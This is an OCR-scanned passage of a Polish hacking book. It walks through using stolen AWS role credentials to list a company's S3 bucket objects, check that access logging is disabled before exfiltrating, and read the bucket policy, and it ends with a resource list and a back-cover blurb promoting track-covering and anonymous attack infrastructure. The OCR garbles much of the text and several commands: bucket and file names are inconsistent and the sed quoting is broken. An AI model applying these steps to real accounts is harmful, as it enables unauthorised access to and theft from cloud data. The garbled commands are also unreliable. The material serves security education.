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robié? Wystarczy kilka kliknie¢, aby za pomocg ustugi monitoringu CloudWatch
skonfigurowac takie alerty.

W AWS dostepna jest tez ustuga GuardDuty, ktéra automatycznie monitoruje
i zglasza r6znego rodzaju nietypowe dzialania, takie jak spamowanie w formie zglo-
szenia 5000 wywotan API, dlatego musisz zachowaé ostroznosé¢. Nie jest to prze-
cietny bank z 20 urzadzeniami zabezpieczajacymi i outsourcowanym kosztem
200 000 ztotych rocznie zespotem SOC, ktéry ciaggle ma trudnosci z agregowaniem
i parsowaniem zdarzen z systemu Windows. Musisz postepowadé inteligentnie
i wyciggaé wnioski z kontekstu.

Pamietasz na przyklad komore S3 mxrads-dl, ktéra znalazla sie w skrypcie
user-data analizowanej instancji? Wezesniej, bez danych uwierzytelniajacych, nie
mozna bylo uzyska¢ do niej dostepu. Jednak moze rola demo-role.ec2 ma jakies
uprawnienia do ustugi S3, ktére zapewnia Ci dostep? Sprawdz to — w tym celu
zazadaj od API AWS wyswietlenia komér S3 firmy MXR Ads:

# Na Twojej maszynie uzywanej do ataku.

root@Pointl:~/# aws s3api listbuckets --profile demo

An error occurred (AccessDenied) when calling the ListBuckets operation:
Access Denied

W porzadku, préba wy$wietlenia wszystkich komér S3 z konta okazala sie tro-
che za odwazna, ale warto bylo to sprawdzié. Cofnij sie teraz i zastosuj metode matych
kroczkéw. Ponownie uzyj roli demo-role.ec2 i sprébuj wyswietli¢ klucze z komory
mxrads-dl. Pamietaj, ze wezesniej, bez danych uwierzytelniajacych, odpowiedzia
byta odmowa dostepu:

root@Pointl:~/# aws s3api list-objects-v2 --profile demo --bucket mxrads-d1 >
list_objects_dl.txt

root@Pointl:~/# grep '"Key"' list_objects_dl1 | sed 's/[",]1//g"' >
list_keys_d1.txt

root@Pointl:~/# head Tist_keys dl.txt
Key: jar/maven/artifact/com.squareup.okhttp3/logging-interceptor/4.2.2

Key: jar/maven/artifact/com.logger.log/logging-colors/3.1.5
--pominiete--

W koricu jakies efekty! Udalo Ci sie uzyskaé liste kluczy i je zapisaé. W ramach
srodk6éw ostrozno$ci, zanim zaczniesz prace na dobre i wezytasz kazdy plik z tej
komory, upewnij sie, ze rejestrowanie zdarzen zwigzanych z operacjami na obiek-
tach S3 jest wylaczone. Wywolaj API get-bucket-1ogging:

root@Pointl:~/# aws s3api get-bucket-logging --profile demo --bucket mxrads-dl

<empty_response>
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Okazuje sie, ze odpowiedz jest pusta. Rejestrowanie zdarzen nie jest aktywne.
Doskonale. Moze sie zastanawiasz, dlaczego wywolanie do tego dziwnego API
zakoncezylo sie powodzeniem. Dlaczego profil instancji miatby potrzebowaé upraw-
nieni do tego API? Aby to zrozumieé, przyjrzyj sie pelnej liscie operacji mozliwych
w S3 (hitps://docs.aws.amazon.com/). Tak, dostepne sg setki operacji na komorach,
a kazda z nich moze by¢ dozwolona lub zablokowana.

W AWS wykonano niesamowitg prace, aby zdefiniowaé bardzo precyzyjne upraw-
nienia dla kazdego drobnego i czasem nieistotnego zadania. Nie dziwi wiec to,
ze wiekszo$¢ administratoréw w trakcie konfigurowania komér przypisuje upraw-
nienia typu wildcard. Uzytkownik potrzebuje dostepu do komory w trybie tylko
do odezytu? Odpowiednie bedg uprawnienia Get*. Administrator nie wie jednak,
ze Get* oznacza tak naprawde 31 uprawnien, i to tylko do ustugi S3! GetBucketPo
>1icy do pobierania polityki komory, GetBucketCORS do pobierania ograniczen
mechanizmu CORS, GetBucketACL do pobierania list kontroli dostepu itd.

Polityki komory sg uzywane gléwnie do przyznawania dostepu zewnetrznym
kontom w AWS lub dodawania warstwy zabezpieczeni do nadmiernie liberalnych
polityk IAM przyznanych uzytkownikom. Zadanie uzytkownika z uprawnieniem
s3:* moze wiec zosta¢ odrzucone na mocy polityki komory, ktéra dopuszcza ope-
racje tylko niekt6rych uzytkownikéw lub wymaga uzywania okreslonego zrédtowego
adresu IP. Tu checesz uzyskaé dostep do polityki komory mxrads-dl, aby sprawdzi¢,
czy jest on przyznawany innym kontom w AWS:

root@Pointl:~/# aws s3api get-bucket-policy --bucket mxrads-dl
{
"Id": "Policyl572108106689",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1572108105248",
"Action": [
"s3:List*", " s3:Get*"
]’
"Effect": "Allow",
"Resource": "arn:aws:s3:::mxrads-dl1",
"Principal": {
"AWS": "arn:aws:iam::983457354409:root" @
}
H
}

W tej polityce wymienione jest zewnetrzne konto AWS 983457354409 @. Moze
to by¢ konto firmy Gretsch Politico, wewnetrznego dziatu z firmy MXR Ads maja-
cego wlasne konto AWS lub prywatne konto programisty. Nie mozesz mie¢ pew-
nosci — przynajmniej jeszcze nie teraz. Zapisz je w celu pézniejszego sprawdzenia.
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Sprawdzanie listy kluczy

Wr6é do pobierania calej listy kluczy komory i przyjrzyj sie im w poszukiwaniu
poufnych danych, a takze w celu poznania przeznaczenia tej komory. Widzisz impo-
nujac liczbe publicznych binariéw i plikéw .jar. Jest kolekcja réznych wersji popular-
nego oprogramowania, na przyklad serwera Nginx, Javy i Log4j. Wyglada na to,
ze to replika jakiegos publicznego punktu udostepniania pakietéw. Udato sie zna-
lez¢ kilka skryptéw powloki bash, ktére automatyzuja wykonywanie polecenia
docker login lub zawieraja funkcje pomocnicze dla polecenn AWS, jednak zadne
z tych plikéw nie wygladaja na poufne.

7 tego mozesz wywnioskowagé, ze ta komora zapewne stuzy jako korporacyjne
centrum udostepniania pakietéw. Systemy i aplikacje musza uzywaé tej komory do
pobierania aktualizacji oprogramowania, pakietéw, archiwéw i innych powszech-
nie udostepnianych materiatéw. Wyglada na to, ze nie kazda publiczna komora
S3 jest oczekujacg na spladrowanie kraing Eldorado.

Sprawdz pobrany wczesniej skrypt user-data. Celem jest znalezienie dodatko-
wych wskazéwek na temat ustug, do ktérych mozna przestaé zapytania. Okazuje
sie jednak, ze nie znajdujesz nic ciekawego. Mozesz nawet z desperacji sprobowaé
uzyskaé dostep do kilku APT AWS, uzywajac danych uwierzytelniajacych roli demo
w ustugach takich jak EC2, Lambda i Redshift, ale zawsze uzyskasz ten sam komu-
nikat o bledzie. Bardzo frustrujace jest mie¢ wlasciwe klucze i sta¢ w progu tylko
dlatego, ze sa tysigce dziurek do sprawdzenia. Czasem jednak tak wlasnie sie dzieje.

Podobnie jak w wiekszosci Slepych zaultkéw, jedyna droga naprzod to sie cof-
na¢ — przynajmniej na chwile. Nie chodzi o to, ze zebrane do tej pory dane sg
bezuzyteczne. Masz dane uwierzytelniajace do bazy danych i AWS, ktére moga
sie przyda¢ w przyszlosci, a przede wszystkim wiesz co nieco o tym, w jaki spo-
s6b firma zarzadza swoja infrastruktury. Teraz potrzebujesz tylko niewielkiej iskry,
aby wywolaé pozar calego rancza. Weigz masz blisko setke domen do sprawdze-
nia. W konicu dotrzesz do celu.

Materiaty

B Zapoznaj sie z krétkim wprowadzeniem do narzedzia Burp, jesli jeszcze
go nie znasz — hitp://bit.ly/2QEQmo9.

B Zapoznaj sie z éwiczeniami ,,zlap flage” (ich trudnosé stopniowo rosnie)
ze strony htitp://flaws.cloud/, aby wyrobié¢ w sobie podstawowe nawyki
zwigzane z hakowaniem w chmurze.

B CloudBunny i fav-up to narzedzia, ktére pomogg Ci pozna¢ adresy IP ustug
kryjacych sie za sieciag CDN — hitps://github.com/Warflop/Cloud Bunny/
i https://github.com/pielcoll/fav-up/.

® Wiecej o technikach odkrywania nazw komér dowiesz sie ze stron
http://bit.ly/36 KVQn2 i http.//bit.ly/39Xy6ha.

B Réznica miedzy rekordami CNAME i ALIAS jest opisana na stronie
http://bit.ly/2FBWoPU.
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B Jesli interesuje Cie szybkie polowanie, w tej witrynie dostepna jest lista
otwartych komér S3 — https://buckets.grayhatwarfare.com/.

B Wiecej informacji o politykach komér S3 znajdziesz na stronie
hitps://amzn.to/2Nbhngy.

B Dodatkowe informacje o protokole WebSocket sa dostepne pod adresem
hitp://bit.ly/35FsTHN.

B Zapoznaj sie z blogiem na temat IMDSv2 — hitps://go.aws/35Ez]JgE.
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Rozwoj technologii wymusza zmiane podejécia
do zabezpieczania systemoéw. Jeszcze niedawno
napastnicy przeslizgiwali sie przez zapory
sieciowe i uzyskiwali dostep do wewnetrznych

‘zasobéw firmy. Skanowali sie¢, tunelowali ruch

sieciowy, wstrzykiwali ztosliwy kod. Obecnie,
jako ze coraz wiecej podmiotéw pracuje

w odpornym srodowisku opartym na chmurze,
rozwijanym na bazie modelu DevOps, takze
napastnicy sa zmuszeni zmienic styl pracy.

| napastnik, i pentester musza myslec jak
projektant systemu, aby wykorzystac jego
fatszywe zatozenia i pochopne decyzje.

Ta ksigzka jest przeznaczona dla specjalistow do
spraw bezpieczenstwa, ktérzy chcg sie nauczyc
tamac systemy chmurowe, a przez to znajdowac
sposoby doskonalszego ich zabezpieczania.

W trakcie lektury przesledzisz, jak wygladaja

w praktyce wszystkie etapy wtamania do
nieprzyjaznego zabezpieczonego srodowiska
dziatajagcego w chmurze. Przeanalizujesz
podstawowe procedury z obszaru
bezpieczenstwa operacji. Nauczysz sie uzywac
systemu operacyjnego Tails, sieci Tor i serweréw
pomocniczych. Poznasz takze kod przydatny
do budowania anonimowej infrastruktury do
hakowania, aby uchronic sie przed wykryciem.
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zbudujesz narzedzia od podstaw i roztozysz

na czesci niskopoziomowe mechanizmy
popularnych systemow, aby uzyskac dostep do
celu. Tutaj znajdziesz i wiedze, i inspiracje do
samodzielnych misji hakerskich.

Dowiedz sig, jak:
- skutecznie zacierac za sobga slady

- wyszukiwac w systemie
dane uwierzytelniajace

» zdobywa¢ dostep do poufnych danych
przechowywanych w systemach
Amazon Web Services

« hakowa¢ systemy chmurowe,
takie jak Kubernetes i S3

- eskalowac uprawnienia w systemie przez
manipulowanie weztami i rolami

Sparc Flow jest ekspertem w dziedzinie
bezpieczenstwa informatycznego. Zajmuje sie
hakowaniem. Prezentowat swoje dokonania na
prestizowych konferencjach, takich jak Black
Hat, DEF CON czy Hack In The Box. Pasjonuje go
pisanie, chetnie dzieli sie w ten sposéb swoja
szeroka wiedza.
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